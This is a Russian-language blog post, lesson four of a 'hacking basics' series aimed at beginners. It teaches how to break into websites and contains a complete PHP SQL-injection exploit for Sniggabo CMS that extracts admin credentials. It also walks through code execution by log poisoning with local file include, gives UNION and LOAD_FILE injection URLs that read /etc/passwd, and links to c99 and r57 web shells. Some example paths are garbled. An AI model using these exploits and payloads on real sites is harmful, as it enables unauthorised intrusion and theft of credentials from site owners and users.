Приветствую Вас ГостьСреда, 04.12.2024, 12:26

Personal WebSite Dr.VoKur


Каталог статей

Главная » Статьи » Мои статьи

Основы Хакерства. Урок№4
Основы хакерства. Урок 4
[ Хакерство для новичков ]

Здравствуйте уважаемые посетители портала. Вы читаете 4 урок из серии «Основы хакерства». А вот что мы сегодня разберем:

Методы определения версии движка сайта/форума
ReversIP и полезные инструменты.
Разбираем сплоит.
Более углубленное знакомство с SQL injection php include
Прогулка по багтракам.


Методы определения версии движка
Вообще при анализе сайта, нужно сразу смотреть есть ли там паблик скрипты(т.е. не самописные)
Что бы найти и использовать эксплоит, нужно как минимум узнать имя и версию CMS, форума или каких либо других скриптов 
расположенных на сайте (фотогаллереи, новостные ленты и т.п.).

Бывает, что данные крутятся в подвале сайта. Но обычно от туда их убирают.
Гораздо более эффективный вариант это посмотреть исходный код страницы.

Для танкистов: что бы просмотреть исходник страницы нужно нажать на правую кнопку мыши и
выбрать «Исходный код страницы», или что то вроде того (в зависимости от браузера).


Итак, в исходнике сначала смотрим на текст заключенные в комментарии ([!-- --])
Как думаю понятно, это текст на странице не отображается. Там как раз могут быть указаны имя версия CMS, иногда можно найти мы
администрации и прочие вкусности.
В исходнике также можно найти ссылки на каскадные листы стилей (.css). В них иногда тоже можно кое-что найти.
Да, еще можно преднамеренно вызвать ошибку. Т.е. попробовать открыть несуществующую папку на сайте (что-то типа 
www.site.us/gone/), вполне возможно, что сайт выплюнет полезную инфу.
Ну думаю тут ясно. Теперь поговорим о форумах:
Обычно, что за форум определить несложно. Сложнее узнать версию.

В phpbb например есть очень интересный файлик - CHANGELOG.html
Его, возможно обнаружить по пути

forum/docs/CHANGELOG.html

Там можно обнаружить надпись вроде

phpBB x.x.x Changelog

В IPB 1.3 присутствуют файлы ssi.php 
show.php
В В 2.0.* 
/sources/help.php 
/sources/usercp.php
В 2.1.*
/ips_kernel/PEAR/
Ну и к тому же опять же нужно смотреть на исходный код и на ошибки.
Кстати, еще стоит сказать, что доверять баннерам в подвале не стоит. Умный администратор поставить фальшивую подпись.

Reverse IP и полезные инструменты.
Бывает, что сайт написан на чистом HTML без применения скриптов. Казалось бы, взломать его почти невозможно. Но это не так. 
Выход-Reverse IP. Суть этой атаки в том, что бы взломать сайт, 
который хостится на одном сервере с целевым сайтом (если такой 
имеется). Либо наша цель получить root(права администратора) на сервере. 
Тогда мы ищем, какие сайты хостятся на сервере и пытаемся 
взломать один из них.
Ну думаю, суть понятна. Другое дело как узнать какие сайты присутствует на сервере.
Для этого мы будем использовать сканнеры.
Например, я пользуюсь вот этим онлайн сканером от madnet -a

http://madnet.name/tools/madss/

Так же он составляет примерную структуру сайта.
Вот еще неплохой

http://security-digger.org/

Тоже присутствует возможность составлять структуру директорий сайта, а также reverse ip.

Допустим, забиваем адрес www.job.ru
Сканер выдает нам соседние сайты.
Если речь пошла про онлайн тулзы приведу еще одну:

http://x3k.ru/

Здесь есть куча всяких кодировщиков и декодеровщиков (пригодиться нам при инъекциях), 
так же есть сканер портов Reverse IP 
whois сервис и еще несколько.
Кстати, если вы пользуетесь браузером firefox, то можете установить плагин Reverse IP 

А плагин LiveHTTPHeaders поможет редактировать HTTP заголовки.


Разбираем сплоит.
Для тестирования желательно иметь в наличии интерпретатор php. Кажется, на 2 уроке я 
советовал поставить тебе mysql+apache+php. Если ты уже поставил это и у тебя все работает стабильно то ок. Если не ставил, 
советую установить Denwer
Процесс установки прост до безобразия. В состав входит все, что нам нужно. Тем более на следующем уроке я хотел бы показать 
анализ одной CMS, так что Денвер просто необходим.
Мудрить не будем, и возьмем простой сплоит для Sniggabo CMS:

Sniggabo-expl.php
14 июня, 2009
print_r('

################################################

Sniggabo CMS - Remote SQL Injection Exploit

Date: 11.06.2009
Vulnerability discovered by: Lidloses_Auge
Exploit coded by: Lidloses_Auge
Homepage: http://www.novusec.com
Greetz to: -=Player=- , Suicide, enco,
Palme, GPM, karamble, Free-Hack

Admin Panel: [target]/admin/login.php
Dork: "powered by Sniggabo CMS" inurl:article.php?id
Use: php '.$argv[0].' http://www.site.com

################################################

');
$url = "$argv[1]/article.php?Id=null+union+select+concat(0x313a3a,userid,0x3a3a,password,0x3a3a)
+from+users--";
$src = file_get_contents($url);
$data = split("::",$src);
echo "Admin: $data[1]nPassword: $data[2]n";
?>
Во-первых обратим внимания на эту строку:

Use: php '.$argv[0].' http://www.site.com

В ней показано, как нужно использовать этот эксплоит.
Как видишь запускать его нужно из командно строки. В качестве параметра передаем сайт.
Далее сам код:

В 1 2 3 строке мы составляем url
$argv[1] - сайт, который мы передали в качестве параметра.
/article.php?Id=null+union+select+concat(0x313a3a,userid,0x3a3a,password,0x3a3a)+from+users--"; - собственно сам процесс получения логина и пароля.

Далее
$src = file_get_contents($url);
Обращаемся по составленному адресу и записываем результат в переменную $src
$data = split("::",$src);
Разделяем полученный результат по ключевой строке "::”
echo "Admin: $data[1]nPassword: $data[2]n";

Выводим. 
Если мы будем раскручивать уязвимость вручную, то результат будет таким:
Login::password
В сплоите как раз по строке :: мы делим результат. В переменной первый элемент будет login а второй password.

Local PHP include и выполнение произвольного кода.
Сейчас мы поговорим, как через локальный инклуд мы сможем выполнить произвольный код.
Как ты помнишь с помощью этой уязвимости мы можем читать файлы на сервер. Так вот, значит мы сможем прочитать логи веб сервера. В логах сохраняются все запросы. Нас интересуют 
httpd-access.log и httpd-error.log. 
Суть в то, что бы подделать HTTP заголовок записан в поле User-Agent (например) php код. Далее это код запишется в логи, а логии мы можем загружать. Вот тебе и выполнение кода.
Во-первых как подделывать заголовки. Выше я приводил удобный плагин LiveHTTPHeaders. Если вы не пользуетесь Фоксом можно скачать программу InetCrack.
Итак, давайте попробуем забить в поле Referer такой код:


Все код записан в httpd-access.log. Теперь нужно с помощью инклуда подгрузить его.
Тут придется перебирать пути до логов.

Вот стандартные http://forum.hackzona.ru/forum-f8/thread-t13002.html

Ну допустим путь оказался таким:

../../../../../../etc/apache2/httpd.conf www.include.us/index.php?page= ../../../../../../etc/apache2/httpd.conf&cmd=ls

И мы получим листинг файлов текущей директории (ls).
Только учти, выполняется только тот код, который стоит первым в логах. Т.е. у нас будет только одна попытка, а потом по новой.

SQL injection.
Особенности 5 версии mysql
Что такое magic quotes
Как можно читать файлы с помощью инъекций.

До этого мы разбирали инъекции в mysql <5
В 5 версии есть кое-какие особенности.
Ну значит, с помощью команды version() мы узнали, что база данных версии 5 (or <)
В ней присутствует таблица INFORMATION_SCHEMA, в ней находятся таблицы и колонки базы. Она избавит нас от ручного подбора.
Реализация

www.site.us/index.php?id=1’
www.site.us/index.php?id=1,table_name,3,4,5,6,7,8,9,10+from+INFORMATION_SCHEMA.TABLES/*
И так тут либо мы увидим все таблицы базы либо только первую.
Если второе, то прочитать остальные имена можно с помощью limit:

www.site.us/index.php?id=+union+select+1,table_name,3,4,5,6,7,8,9,10+from+INFORMATION_SCHEMA.TABLES
+limit1,2/*

Читаем 2 запись.
Так, допустим нашли таблицу.
Теперь смотрим поля:

www.site.us/index.php?id=1+union+select+1,column_name,3,4,5,6,7,8,9,10+from+INFORMATION_SCHEMA.COLUMNS/*

Опять же просмотр конкретных записей:

www.site.us/index.php?id=+union+select+1,column_name,3,4,5,6,7,8,9,10+from+INFORMATION_SCHEMA.COLUMNS+limit 1,2/*

Ну и ищем поля типа password или login

Теперь поговорим про магические кавычки (magic quotes)
это процесс, который позволяет автоматически экранировать входные данные PHP скрипта.
Если magic quotes=on (активны), то входящие одиночные и двойные кавычки, левый слеш и NULL знаки экранируются левыми слешами.
Волшебные кавычки бывают:

magic_quotes_gpc - проверяет запросы HTTP (GET, POST, и COOKIE) 
magic_quotes_runtime - функции, которые возвращают данные из внешних источников будут экранироваться левыми слешами.
magic_quotes_sybase - одиночные кавычки экранируются двойными
Надеюсь понятно, что если magic_quotes = on нам это очень не на руку.

Скоро я расскажу, как это обходить.
А теперь как можно прочитать файл с помощью инъекции.
Т.е. мы получим тот же локальный php include
Ну допустим, есть инъект:

www.site.us/index.php?id=+union+select+1,2,3,4,5,6,7,8,9,10/*

Читабельно поле 2.
Загружать файлы можно так:

www.site.us/index.php?id=+union+select+1,LOAD_FILE(‘/etc/passwd’),4,5,6,7,8,9,10/*

Прогулка по багтракам. В этом топе я решил разбирать интересные (ну вообще какие будут) уязвимости с багтраков. Вообще я часто уже говорил, что чтение багтрак лент 
идет только на пользу. Пожалуй приведу несколько:

Русскоязычные:
bugtraq.ru/
securitylab.ru/
securityvulns.ru/

Остальные:
milw0rm.com
packetstormsecurity.org
securityfocus.com


Приложение: Во-первых, как вы заметили я опустил раздел xss. На данном этапе пока не знаю что вам рассказывать, поэтому просто дам ссылку на интересную 
статьюhttp://forum.antichat.ru/thread8038.html

Во вторых несколько ссылок на веб шеллы:
c99shellhttp://eraserevil.pp.net.ua/_ld/0/87_SiJ.txt
AK-74 http://stranger.nextmail.ru/userban.txt
r57shell http://www.securitylab.ru/software/234092.php
Далее советую прочитать недавнюю статью kerny PHP - Include, и немного удачи.
ps не забываем что уголковые теги заменены на [ and ]

Категория: Мои статьи | Добавил: DrVoKur (11.02.2011)
Просмотров: 680 | Рейтинг: 0.0/0
Всего комментариев: 0
Категории раздела
Мои статьи [71]
Работа Вебмастерам
WMlink.ru - рекламный брокер
Почтовые Спонсоры
WMmail.ru - сервис почтовых рассылок
Раскрутка Сайта
Werbung im Besuchertausch und Mailtausch You Raise.ru - бесплатная автораскрутка сайта. Автосерфинг. Обмен Визитами. Обмен Показами. Обмен Баннерами. Раскрутка сайта. Раскрутка Блогов
...
Постоянный Доход
Start LiQPoweR Моментальный обмен Webmoney WMR WMZ
Твой Досуг
Обмен WM
Обмен WebMoney
  Отдадите:  
  Получите:  
...
Поиск
3D-Облако Тегов
ВНИМАНИЕ ВАКАНСИЯ
Регистрация
Услуги Банка
Социальные Сети
Бонус WMR

Вы можете получить WMR-бонус в размере 0,01-0,10 WMR на свой кошелек 1 раз в сутки

Кошелек
Код Защитный код

Обмен Webmoney

Платные Рассылки
WMmail.ru - сервис почтовых рассылок
Посетители Сайта
Locations of visitors to this page
Статистика

Онлайн всего: 1
Гостей: 1
Пользователей: 0
Форма входа